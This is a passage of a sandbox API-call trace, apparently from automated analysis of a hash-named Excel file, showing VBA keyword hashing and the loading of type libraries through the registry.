(syskind=0x3, lcid=0x409, szName="Property") returned 0x10d2f6 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PSet") returned 0x10dd55 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Public") returned 0x101287 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Put") returned 0x10c5b3 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RaiseEvent") returned 0x10274a [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Random") returned 0x10f428 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Randomize") returned 0x10ab02 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Read") returned 0x101d0f [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ReDim") returned 0x10eea8 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Rem") returned 0x10ce0e [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Resume") returned 0x10728b [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Return") returned 0x1038eb [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RGB") returned 0x10ce4d [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RSet") returned 0x106891 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Scale") returned 0x10e596 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Seek") returned 0x10e387 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Select") returned 0x10cabd [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Set") returned 0x10d36e [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sgn") returned 0x10d3b2 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shared") returned 0x10479e [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Single") returned 0x10a99f [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Spc") returned 0x10d4f4 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Static") returned 0x1029c6 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Step") returned 0x103384 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Stop") returned 0x1034f6 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrComp") returned 0x10274d [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String$") returned 0x10c31c [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Tab") returned 0x10d821 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Text") returned 0x10abed [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Type") returned 0x100007 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TypeOf") returned 0x101832 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UBound") returned 0x10ea71 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unload") returned 0x104e44 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unlock") returned 0x104e95 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Until") returned 0x10ecec [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Variant") returned 0x108738 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Wend") returned 0x1035a7 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="While") returned 0x10a25c [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Width") returned 0x104e68 [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="With") returned 0x104bed [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WithEvents") returned 0x10f2eb [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Write") returned 0x105c2e [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Xor") returned 0x10ef9b [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Const") returned 0x10f8c9 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Else") returned 0x1050dd [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#ElseIf") returned 0x10e5b5 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#End") returned 0x10d478 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#If") returned 0x10d383 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Control") returned 0x10a946 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Description") returned 0x1009d0 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Ext_KEY") returned 0x10a88e [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_HelpID") returned 0x103e41 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Func") returned 0x10c92c [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Property") returned 0x107f4a [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPut") returned 0x106658 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPutRef") returned 0x105b25 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_MemberFlags") returned 0x108db7 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_ProcData") returned 0x107005 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarDescription") returned 0x103303 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarHelpID") returned 0x10a3b6 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarMemberFlags") returned 0x10b6ea [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarProcData") returned 0x101b0c [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_UserMemId") returned 0x107b95 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarUserMemId") returned 0x104d5f [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=",") returned 0x101043 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=".") returned 0x101045 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="\"") returned 0x101039 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_") returned 0x101076 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngPtr") returned 0x105ab0 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngPtr") returned 0x1036f2 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngLng") returned 0x104463 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngLng") returned 0x1020a5 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongLong") returned 0x10378e [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8 [0074.564] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0074.565] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0074.565] StringFromGUID2 (in: rguid=0xb7e50e0*(Data1=0x20813, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x1f3130, cchMax=39 | out: lpsz="{00020813-0000-0000-C000-000000000046}") returned 39 [0074.565] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x1f2df0 | out: phkResult=0x1f2df0*=0xafa) returned 0x0 [0074.565] RegOpenKeyW (in: hKey=0xafa, lpSubKey="{00020813-0000-0000-C000-000000000046}", phkResult=0x1f2de8 | out: phkResult=0x1f2de8*=0xa12) returned 0x0 [0074.566] RegEnumKeyW (in: hKey=0xa12, dwIndex=0x0, lpName=0x1f2e18, cchName=0xa | out: lpName="1.9") returned 0x0 [0074.566] wcscpy_s (in: _Destination=0x1f2e00, _SizeInWords=0xa, _Source="1.9" | out: _Destination="1.9") returned 0x0 [0074.566] RegOpenKeyW (in: hKey=0xa12, lpSubKey="1.9", phkResult=0x1f2ea8 | out: phkResult=0x1f2ea8*=0xa9a) returned 0x0 [0074.567] _ultoa_s (in: _Val=0x409, _DstBuf=0x1f2e20, _Size=0xa, _Radix=16 | out: _DstBuf="409") returned 0x0 [0074.567] RegOpenKeyA (in: hKey=0xa9a, lpSubKey="409", phkResult=0x1f2e10 | out: phkResult=0x1f2e10*=0x0) returned 0x2 [0074.567] _ultoa_s (in: _Val=0x9, _DstBuf=0x1f2e20, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0074.567] RegOpenKeyA (in: hKey=0xa9a, lpSubKey="9", phkResult=0x1f2e10 | out: phkResult=0x1f2e10*=0x0) returned 0x2 [0074.568] RegOpenKeyA (in: hKey=0xa9a, lpSubKey="0", phkResult=0x1f2e10 | out: phkResult=0x1f2e10*=0xbaa) returned 0x0 [0074.568] RegOpenKeyW (in: hKey=0xbaa, lpSubKey="win64", phkResult=0x1f2e18 | out: phkResult=0x1f2e18*=0xb76) returned 0x0 [0074.577] RegCloseKey (hKey=0xb76) returned 0x0 [0074.577] RegCloseKey (hKey=0xbaa) returned 0x0 [0074.577] _ultow_s (in: _Value=0x0, _Buffer=0x1f2eb0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0074.577] RegOpenKeyW (in: hKey=0xa9a, lpSubKey="0", phkResult=0x1f2e88 | out: phkResult=0x1f2e88*=0xb9e) returned 0x0 [0074.578] RegQueryValueW (in: hKey=0xb9e, lpSubKey="win64", lpData=0x1f2ed0, lpcbData=0x1f2e84 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE", lpcbData=0x1f2e84) returned 0x0 [0074.579] wcscpy_s (in: _Destination=0x1f3200, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE") returned 0x0 [0074.579] RegCloseKey (hKey=0xb9e) returned 0x0 [0074.579] RegCloseKey (hKey=0xa9a) returned 0x0 [0074.579] RegCloseKey (hKey=0xa12) returned 0x0 [0074.580] RegCloseKey (hKey=0xafa) returned 0x0 [0074.580] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE", pptlib=0x1f2e88*=0x0 | out: pptlib=0x1f2e88*=0x5a48620) returned 0x0 [0074.617] ITypeLib:RemoteGetDocumentation (in: This=0x5a48620, index=-1, refPtrFlags=0x1f2ea8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa37c838 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa37c838) returned 0x0 [0074.617] IUnknown:QueryInterface (in: This=0x5a48620, riid=0x7fee5f86290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1f2c98 | out: ppvObject=0x1f2c98*=0x0) returned 0x80004002 [0074.617] ITypeLib:RemoteGetLibAttr (in: This=0x5a48620, ppTLibAttr=0x1f2c90, pDummy=0x10 | out: ppTLibAttr=0x1f2c90, pDummy=0x10) returned 0x0 [0074.617] ITypeLib:RemoteGetDocumentation (in: This=0x5a48620, index=-1, refPtrFlags=0x0, pbstrName=0x1f2c88, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4853b00 | out: pbstrName=0x1f2c88*="Microsoft Excel 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4853b00) returned 0x0 [0074.617] StringFromGUID2 (in: rguid=0x618e610*(Data1=0x20813, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x1f2cb0, cchMax=39 | out: lpsz="{00020813-0000-0000-C000-000000000046}") returned 39 [0074.617] _ultow_s (in: _Value=0x1, _Buffer=0x1f2bfa, _BufferCount=0x10, _Radix=16 | out: _Buffer="1") returned 0x0 [0074.617] _ultow_s (in: _Value=0x9, _Buffer=0x1f2bfe, _BufferCount=0xe, _Radix=16 | out: _Buffer="9") returned 0x0 [0074.617] _ultow_s (in: _Value=0x0, _Buffer=0x1f2c02, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0074.617] wcscpy_s (in: _Destination=0x5ba3dd8, _SizeInWords=0x8e, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0074.617] wcscpy_s (in: _Destination=0x5ba3dde, _SizeInWords=0x8b, _Source="{00020813-0000-0000-C000-000000000046}" | out: _Destination="{00020813-0000-0000-C000-000000000046}") returned 0x0 [0074.617] wcscpy_s (in: _Destination=0x5ba3e2a, _SizeInWords=0x65, _Source="#1.9#0#" | out: _Destination="#1.9#0#") returned 0x0 [0074.617] wcscpy_s (in: _Destination=0x5ba3e38, _SizeInWords=0x5e, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE") returned 0x0 [0074.617] wcscpy_s (in: _Destination=0x5ba3eac, _SizeInWords=0x24, _Source="Microsoft Excel 16.0 Object Library" | out: _Destination="Microsoft Excel 16.0 Object Library") returned 0x0 [0074.617] ITypeLib:LocalReleaseTLibAttr (This=0x5a48620) returned 0x0 [0074.617] wcscpy_s (in: _Destination=0xb8e6ec0, _SizeInWords=0x8e, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library" | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0074.617] ITypeLib:RemoteGetDocumentation (in: This=0x5a48620, index=-1, refPtrFlags=0x1f2da8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5) returned 0x0 [0074.617] SysStringLen (param_1="Excel") returned 0x5 [0074.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0074.617] SysStringLen (param_1="Excel") returned 0x5 [0074.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=6, lpMultiByteStr=0x66c01b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel", lpUsedDefaultChar=0x0) returned 6 [0074.617] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Excel") returned 0x102b80 [0074.617] strcpy_s (in: _Dst=0x1f2ba0, _DstSize=0x6, _Src="Excel" | out: _Dst="Excel") returned 0x0 [0074.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1f2ba0, cbMultiByte=6, lpWideCharStr=0x1f29f0, cchWideChar=6 | out: lpWideCharStr="Excel") returned 6 [0074.617] wcsncpy_s (in: _Destination=0x1f29a0, _SizeInWords=0x108, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0074.617] CharLowerBuffW (in: lpsz="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library") returned 0x8d [0074.618] IMalloc:Alloc (This=0x7fefe465380, cb=0x11c) returned 0xb8d5c10 [0074.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", cchWideChar=142, lpMultiByteStr=0xb8d5c10, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0074.618] IMalloc:Free (This=0x7fefe465380, pv=0xb8d5c10) [0074.618] _wcsicmp (_String1="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 4 [0074.618] wcscpy_s (in: _Destination=0x6733ec8, _SizeInWords=0x8e, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library" | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0074.618] wcsncpy_s (in: _Destination=0x1f29e0, _SizeInWords=0x108, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0074.618] CharLowerBuffW (in: lpsz="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library") returned 0x8d [0074.618] IMalloc:Alloc (This=0x7fefe465380, cb=0x11c) returned 0xb8d5c10 [0074.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", cchWideChar=142, lpMultiByteStr=0xb8d5c10, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0074.618] IMalloc:Free (This=0x7fefe465380, pv=0xb8d5c10) [0074.618] wcsncpy_s (in: _Destination=0x1f29a0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x0 [0074.618] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchLength=0x61 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x61 [0074.618] IMalloc:Alloc (This=0x7fefe465380, cb=0xc4) returned 0x66522d0 [0074.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchWideChar=98, lpMultiByteStr=0x66522d0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", lpUsedDefaultChar=0x0) returned 98 [0074.618] IMalloc:Free (This=0x7fefe465380, pv=0x66522d0) [0074.618] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned -4 [0074.618] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0 [0074.618] IUnknown:AddRef (This=0x5a48620) returned 0x2 [0074.618] IUnknown:QueryInterface (in: This=0x5a48620, riid=0x7fee5f864b8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1f2dc8 | out: ppvObject=0x1f2dc8*=0x0) returned 0x80004002 [0074.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=6, lpMultiByteStr=0x1f2d90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel", lpUsedDefaultChar=0x0) returned 6 [0074.619] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Excel") returned 0x102b80 [0074.619] IUnknown:Release (This=0x5a48620) returned 0x1 [0074.619] GetModuleFileNameW (in: hModule=0x7fee5bf0000, lpFilename=0x7fee5fba9f0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0074.619] QueryPathOfRegTypeLib (in: guid=0x7fee5f926a0*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wMaj=0x4, wMin=0x0, lcid=0x409, lpbstrPathName=0x1f2e30 | out: lpbstrPathName=0x1f2e30) returned 0x0 [0074.625] LoadTypeLibEx (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", regkind=0x2, pptlib=0x1f2e88*=0x0 | out: pptlib=0x1f2e88*=0x679bb80) returned 0x0 [0074.631] IUnknown:AddRef (This=0x679bb80) returned 0x2 [0074.631] ITypeLib:RemoteGetDocumentation (in: This=0x679bb80, index=-1, refPtrFlags=0x1f2ea8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3c38b0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3c38b0*="㢰<") returned 0x0 [0074.631] IUnknown:QueryInterface (in: This=0x679bb80, riid=0x7fee5f86290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1f2c98 | out: ppvObject=0x1f2c98*=0x0) returned 0x80004002 [0074.631] ITypeLib:RemoteGetLibAttr (in: This=0x679bb80, ppTLibAttr=0x1f2c90, pDummy=0x10 | out: ppTLibAttr=0x1f2c90, pDummy=0x10) returned 0x0 [0074.631] ITypeLib:RemoteGetDocumentation (in: This=0x679bb80, index=-1, refPtrFlags=0x0, pbstrName=0x1f2c88, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xafa9c60ebb2a | out: pbstrName=0x1f2c88*="Visual Basic For Applications", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xafa9c60ebb2a) returned 0x0 [0074.631] StringFromGUID2 (in: rguid=0x618e610*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x1f2cb0, cchMax=39 | out: lpsz="{000204EF-0000-0000-C000-000000000046}") returned 39 [0074.631] _ultow_s (in: _Value=0x4, _Buffer=0x1f2bfa, _BufferCount=0x10, _Radix=16 | out: _Buffer="4") returned 0x0 [0074.631] _ultow_s (in: _Value=0x2, _Buffer=0x1f2bfe, _BufferCount=0xe, _Radix=16 | out: _Buffer="2") returned 0x0 [0074.631] _ultow_s (in: _Value=0x9, _Buffer=0x1f2c02, _BufferCount=0xc, _Radix=16 | out: _Buffer="9") returned 0x0 [0074.631] wcscpy_s (in: _Destination=0x5ba3dd8, _SizeInWords=0x91, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0074.631] wcscpy_s (in: _Destination=0x5ba3dde, _SizeInWords=0x8e, _Source="{000204EF-0000-0000-C000-000000000046}" | out: _Destination="{000204EF-0000-0000-C000-000000000046}") returned 0x0 [0074.631] wcscpy_s (in: _Destination=0x5ba3e2a, _SizeInWords=0x68, _Source="#4.2#9#" | out: _Destination="#4.2#9#") returned 0x0 [0074.631] wcscpy_s (in: _Destination=0x5ba3e38, _SizeInWords=0x61, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0074.631] wcscpy_s (in: _Destination=0x5ba3ebe, _SizeInWords=0x1e, _Source="Visual Basic For Applications" | out: _Destination="Visual Basic For Applications") returned 0x0 [0074.631] ITypeLib:LocalReleaseTLibAttr (This=0x679bb80) returned 0x0 [0074.631] wcscpy_s (in: 